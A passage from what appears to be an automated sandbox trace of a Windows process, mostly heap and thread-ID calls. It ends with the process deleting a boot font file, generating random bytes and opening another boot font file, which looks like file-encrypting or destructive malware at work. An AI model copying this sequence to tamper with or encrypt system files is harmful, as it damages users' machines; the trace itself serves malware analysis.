returned 0x0 [0116.914] GetCurrentThreadId () returned 0x9b0 [0116.914] GetLastError () returned 0x0 [0116.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.914] GetCurrentThreadId () returned 0x9b0 [0116.915] GetLastError () returned 0x0 [0116.915] GetLastError () returned 0x0 [0116.915] GetLastError () returned 0x0 [0116.915] GetLastError () returned 0x0 [0116.915] GetCurrentThreadId () returned 0x9b0 [0116.915] GetLastError () returned 0x0 [0116.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.916] GetLastError () returned 0x0 [0116.917] GetLastError () returned 0x0 [0116.917] GetCurrentThreadId () returned 0x9b0 [0116.917] GetLastError () returned 0x0 [0116.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.918] GetLastError () returned 0x0 [0116.918] GetLastError () returned 0x0 [0116.919] GetCurrentThreadId () returned 0x9b0 [0116.919] GetLastError () returned 0x0 [0116.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.919] GetCurrentThreadId () returned 0x9b0 [0116.919] GetLastError () returned 0x0 [0116.920] GetLastError () returned 0x0 [0116.920] GetLastError () returned 0x0 [0116.920] GetLastError () returned 0x0 [0116.920] GetCurrentThreadId () returned 0x9b0 [0116.920] GetLastError () returned 0x0 [0116.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0116.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0116.920] GetLastError () returned 0x0 [0116.921] GetLastError () returned 0x0 [0116.921] GetCurrentThreadId () returned 0x9b0 [0116.921] GetLastError () returned 0x0 [0116.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.922] GetLastError () returned 0x0 [0116.922] GetLastError () returned 0x0 [0116.922] GetCurrentThreadId () returned 0x9b0 [0116.922] GetLastError () returned 0x0 [0116.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.923] GetLastError () returned 0x0 [0116.923] GetLastError () returned 0x0 [0116.923] GetLastError () returned 0x0 [0116.923] GetLastError () returned 0x0 [0116.923] GetCurrentThreadId () returned 0x9b0 [0116.923] GetLastError () returned 0x0 [0116.923] GetCurrentThreadId () returned 0x9b0 [0116.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0116.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0116.924] GetLastError () returned 0x0 [0116.925] GetLastError () returned 0x0 [0116.925] GetCurrentThreadId () returned 0x9b0 [0116.925] GetLastError () returned 0x0 [0116.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.925] GetLastError () returned 0x0 [0116.926] GetLastError () returned 0x0 [0116.927] GetCurrentThreadId () returned 0x9b0 [0116.927] GetLastError () returned 0x0 [0116.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.927] GetLastError () returned 0x0 [0116.928] GetLastError () returned 0x0 [0116.928] GetLastError () returned 0x0 [0116.928] GetLastError () returned 0x0 [0116.928] GetCurrentThreadId () returned 0x9b0 [0116.928] GetLastError () returned 0x0 [0116.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.928] GetCurrentThreadId () returned 0x9b0 [0116.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0116.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0116.929] GetLastError () returned 0x0 [0116.929] GetLastError () returned 0x0 [0116.930] GetCurrentThreadId () returned 0x9b0 [0116.930] GetLastError () returned 0x0 [0116.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.930] GetLastError () returned 0x0 [0116.930] GetLastError () returned 0x0 [0116.930] GetCurrentThreadId () returned 0x9b0 [0116.930] GetLastError () returned 0x0 [0116.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.931] GetLastError () returned 0x0 [0116.931] GetLastError () returned 0x0 [0116.931] GetLastError () returned 0x0 [0116.931] GetLastError () returned 0x0 [0116.931] GetCurrentThreadId () returned 0x9b0 [0116.931] GetLastError () returned 0x0 [0116.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0116.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0116.932] GetLastError () returned 0x0 [0116.933] GetLastError () returned 0x0 [0116.933] GetCurrentThreadId () returned 0x9b0 [0116.933] GetLastError () returned 0x0 [0116.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.934] GetLastError () returned 0x0 [0116.934] GetLastError () returned 0x0 [0116.935] GetCurrentThreadId () returned 0x9b0 [0116.935] GetLastError () returned 0x0 [0116.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.935] GetCurrentThreadId () returned 0x9b0 [0116.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.935] GetLastError () returned 0x0 [0116.936] GetLastError () returned 0x0 [0116.936] GetLastError () returned 0x0 [0116.936] GetLastError () returned 0x0 [0116.936] GetCurrentThreadId () returned 0x9b0 [0116.936] GetLastError () returned 0x0 [0116.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0116.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0116.936] GetLastError () returned 0x0 [0116.937] GetLastError () returned 0x0 [0116.937] GetCurrentThreadId () returned 0x9b0 [0116.937] GetLastError () returned 0x0 [0116.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.938] GetLastError () returned 0x0 [0116.938] GetLastError () returned 0x0 [0116.938] GetCurrentThreadId () returned 0x9b0 [0116.938] GetLastError () returned 0x0 [0116.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.938] GetCurrentThreadId () returned 0x9b0 [0116.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0116.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.939] GetLastError () returned 0x0 [0116.939] GetLastError () returned 0x0 [0116.939] GetLastError () returned 0x0 [0116.939] GetLastError () returned 0x0 [0116.939] GetCurrentThreadId () returned 0x9b0 [0116.939] GetLastError () returned 0x0 [0116.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.940] GetLastError () returned 0x0 [0116.941] GetLastError () returned 0x0 [0116.941] GetCurrentThreadId () returned 0x9b0 [0116.941] GetLastError () returned 0x0 [0116.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.941] GetLastError () returned 0x0 [0116.941] GetLastError () returned 0x0 [0116.943] GetCurrentThreadId () returned 0x9b0 [0116.943] GetLastError () returned 0x0 [0116.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0116.943] GetCurrentThreadId () returned 0x9b0 [0116.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.943] GetLastError () returned 0x0 [0116.944] GetLastError () returned 0x0 [0116.944] GetLastError () returned 0x0 [0116.944] GetLastError () returned 0x0 [0116.944] GetCurrentThreadId () returned 0x9b0 [0116.944] GetLastError () returned 0x0 [0116.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0116.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0116.944] GetLastError () returned 0x0 [0116.945] GetLastError () returned 0x0 [0116.945] GetCurrentThreadId () returned 0x9b0 [0116.946] GetLastError () returned 0x0 [0116.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0116.946] GetLastError () returned 0x0 [0116.946] GetLastError () returned 0x0 [0116.946] GetCurrentThreadId () returned 0x9b0 [0116.946] GetLastError () returned 0x0 [0116.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0116.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0116.946] GetCurrentThreadId () returned 0x9b0 [0116.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.947] GetLastError () returned 0x0 [0116.947] GetLastError () returned 0x0 [0116.947] GetLastError () returned 0x0 [0116.947] GetLastError () returned 0x0 [0116.947] GetCurrentThreadId () returned 0x9b0 [0116.947] GetLastError () returned 0x0 [0116.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0116.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0116.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0116.948] GetLastError () returned 0x0 [0116.949] GetLastError () returned 0x0 [0116.949] GetCurrentThreadId () returned 0x9b0 [0116.949] GetLastError () returned 0x0 [0116.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0116.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.950] GetLastError () returned 0x0 [0116.950] GetLastError () returned 0x0 [0116.951] GetCurrentThreadId () returned 0x9b0 [0116.951] GetLastError () returned 0x0 [0116.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0116.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0116.951] GetCurrentThreadId () returned 0x9b0 [0116.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.951] GetLastError () returned 0x0 [0116.952] GetLastError () returned 0x0 [0116.952] GetLastError () returned 0x0 [0116.952] GetLastError () returned 0x0 [0116.952] GetCurrentThreadId () returned 0x9b0 [0116.952] GetLastError () returned 0x0 [0116.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0116.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0116.952] GetLastError () returned 0x0 [0116.953] GetCurrentThreadId () returned 0x9b0 [0116.954] GetCurrentThreadId () returned 0x9b0 [0116.954] GetCurrentThreadId () returned 0x9b0 [0116.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.954] GetCurrentThreadId () returned 0x9b0 [0116.955] GetCurrentThreadId () returned 0x9b0 [0116.955] GetCurrentThreadId () returned 0x9b0 [0116.957] GetCurrentThreadId () returned 0x9b0 [0116.957] GetCurrentThreadId () returned 0x9b0 [0116.958] GetCurrentThreadId () returned 0x9b0 [0116.966] GetCurrentThreadId () returned 0x9b0 [0116.966] GetCurrentThreadId () returned 0x9b0 [0116.966] GetCurrentThreadId () returned 0x9b0 [0116.970] GetCurrentThreadId () returned 0x9b0 [0116.970] GetCurrentThreadId () returned 0x9b0 [0116.971] GetCurrentThreadId () returned 0x9b0 [0116.971] GetCurrentThreadId () returned 0x9b0 [0116.972] GetCurrentThreadId () returned 0x9b0 [0116.972] GetCurrentThreadId () returned 0x9b0 [0116.973] GetCurrentThreadId () returned 0x9b0 [0116.973] GetCurrentThreadId () returned 0x9b0 [0116.974] GetCurrentThreadId () returned 0x9b0 [0116.974] GetCurrentThreadId () returned 0x9b0 [0116.975] GetCurrentThreadId () returned 0x9b0 [0116.976] GetCurrentThreadId () returned 0x9b0 [0116.977] GetCurrentThreadId () returned 0x9b0 [0116.977] GetCurrentThreadId () returned 0x9b0 [0116.977] GetCurrentThreadId () returned 0x9b0 [0116.977] GetCurrentThreadId () returned 0x9b0 [0116.979] GetCurrentThreadId () returned 0x9b0 [0116.979] GetCurrentThreadId () returned 0x9b0 [0116.980] GetCurrentThreadId () returned 0x9b0 [0116.980] GetCurrentThreadId () returned 0x9b0 [0116.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0116.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0116.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0116.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0116.981] GetCurrentThreadId () returned 0x9b0 [0116.982] GetCurrentThreadId () returned 0x9b0 [0116.982] GetCurrentThreadId () returned 0x9b0 [0116.983] GetCurrentThreadId () returned 0x9b0 [0116.983] GetCurrentThreadId () returned 0x9b0 [0116.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0116.983] GetCurrentThreadId () returned 0x9b0 [0116.985] GetCurrentThreadId () returned 0x9b0 [0116.986] GetCurrentThreadId () returned 0x9b0 [0116.986] GetCurrentThreadId () returned 0x9b0 [0116.986] GetCurrentThreadId () returned 0x9b0 [0116.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0116.986] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0116.986] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.987] GetCurrentThreadId () returned 0x9b0 [0116.988] GetCurrentThreadId () returned 0x9b0 [0116.989] GetCurrentThreadId () returned 0x9b0 [0116.989] GetCurrentThreadId () returned 0x9b0 [0116.989] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.990] GetCurrentThreadId () returned 0x9b0 [0116.991] GetCurrentThreadId () returned 0x9b0 [0116.991] GetCurrentThreadId () returned 0x9b0 [0116.991] GetCurrentThreadId () returned 0x9b0 [0116.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.991] GetCurrentThreadId () returned 0x9b0 [0116.992] GetCurrentThreadId () returned 0x9b0 [0116.993] GetCurrentThreadId () returned 0x9b0 [0116.994] GetCurrentThreadId () returned 0x9b0 [0116.994] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0116.994] GetCurrentThreadId () returned 0x9b0 [0116.995] GetCurrentThreadId () returned 0x9b0 [0116.995] GetCurrentThreadId () returned 0x9b0 [0116.995] GetCurrentThreadId () returned 0x9b0 [0116.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0116.996] GetCurrentThreadId () returned 0x9b0 [0116.997] GetCurrentThreadId () returned 0x9b0 [0116.998] GetCurrentThreadId () returned 0x9b0 [0116.998] GetCurrentThreadId () returned 0x9b0 [0116.999] GetCurrentThreadId () returned 0x9b0 [0117.000] GetCurrentThreadId () returned 0x9b0 [0117.000] GetCurrentThreadId () returned 0x9b0 [0117.000] GetCurrentThreadId () returned 0x9b0 [0117.000] GetCurrentThreadId () returned 0x9b0 [0117.001] GetCurrentThreadId () returned 0x9b0 [0117.003] GetCurrentThreadId () returned 0x9b0 [0117.003] GetCurrentThreadId () returned 0x9b0 [0117.003] GetCurrentThreadId () returned 0x9b0 [0117.004] GetCurrentThreadId () returned 0x9b0 [0117.012] GetCurrentThreadId () returned 0x9b0 [0117.012] GetCurrentThreadId () returned 0x9b0 [0117.012] GetCurrentThreadId () returned 0x9b0 [0117.016] GetCurrentThreadId () returned 0x9b0 [0117.017] GetCurrentThreadId () returned 0x9b0 [0117.017] GetCurrentThreadId () returned 0x9b0 [0117.017] GetCurrentThreadId () returned 0x9b0 [0117.018] GetCurrentThreadId () returned 0x9b0 [0117.018] GetCurrentThreadId () returned 0x9b0 [0117.018] GetCurrentThreadId () returned 0x9b0 [0117.019] GetCurrentThreadId () returned 0x9b0 [0117.019] GetCurrentThreadId () returned 0x9b0 [0117.020] GetCurrentThreadId () returned 0x9b0 [0117.020] GetCurrentThreadId () returned 0x9b0 [0117.020] GetCurrentThreadId () returned 0x9b0 [0117.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0117.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.021] GetCurrentThreadId () returned 0x9b0 [0117.021] GetCurrentThreadId () returned 0x9b0 [0117.022] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x359d) returned 0x35c5908 [0117.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.022] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x35a5) returned 0x35c5908 [0117.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6aa8 [0117.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x35a8) returned 0x35b89d8 [0117.022] GetCurrentThreadId () returned 0x9b0 [0117.022] GetCurrentThreadId () returned 0x9b0 [0117.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x35a5) returned 0x35bbf88 [0117.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.022] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.023] GetCurrentThreadId () returned 0x9b0 [0117.023] GetCurrentThreadId () returned 0x9b0 [0117.024] CloseHandle (hObject=0x3ac) returned 1 [0117.024] GetCurrentThreadId () returned 0x9b0 [0117.024] CloseHandle (hObject=0x39c) returned 1 [0117.024] GetCurrentThreadId () returned 0x9b0 [0117.024] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0117.025] GetCurrentThreadId () returned 0x9b0 [0117.025] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\malgunn_boot.ttf", lpFilePart=0x9bada4*="malgunn_boot.ttf") returned 0x1e [0117.025] GetCurrentThreadId () returned 0x9b0 [0117.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0117.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0117.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea7f0 [0117.025] GetCurrentThreadId () returned 0x9b0 [0117.025] GetCurrentThreadId () returned 0x9b0 [0117.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea7f0 | out: hHeap=0x2ad0000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.026] GetCurrentThreadId () returned 0x9b0 [0117.026] GetCurrentThreadId () returned 0x9b0 [0117.026] GetCurrentThreadId () returned 0x9b0 [0117.026] GetCurrentThreadId () returned 0x9b0 [0117.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a8a8 [0117.026] GetCurrentThreadId () returned 0x9b0 [0117.026] GetCurrentThreadId () returned 0x9b0 [0117.026] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f)) returned 1 [0117.027] GetCurrentThreadId () returned 0x9b0 [0117.027] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0117.027] GetCurrentThreadId () returned 0x9b0 [0117.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0117.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0117.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.027] GetCurrentThreadId () returned 0x9b0 [0117.027] GetCurrentThreadId () returned 0x9b0 [0117.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.028] GetCurrentThreadId () returned 0x9b0 [0117.028] GetCurrentThreadId () returned 0x9b0 [0117.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0117.028] CreateFileA (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), 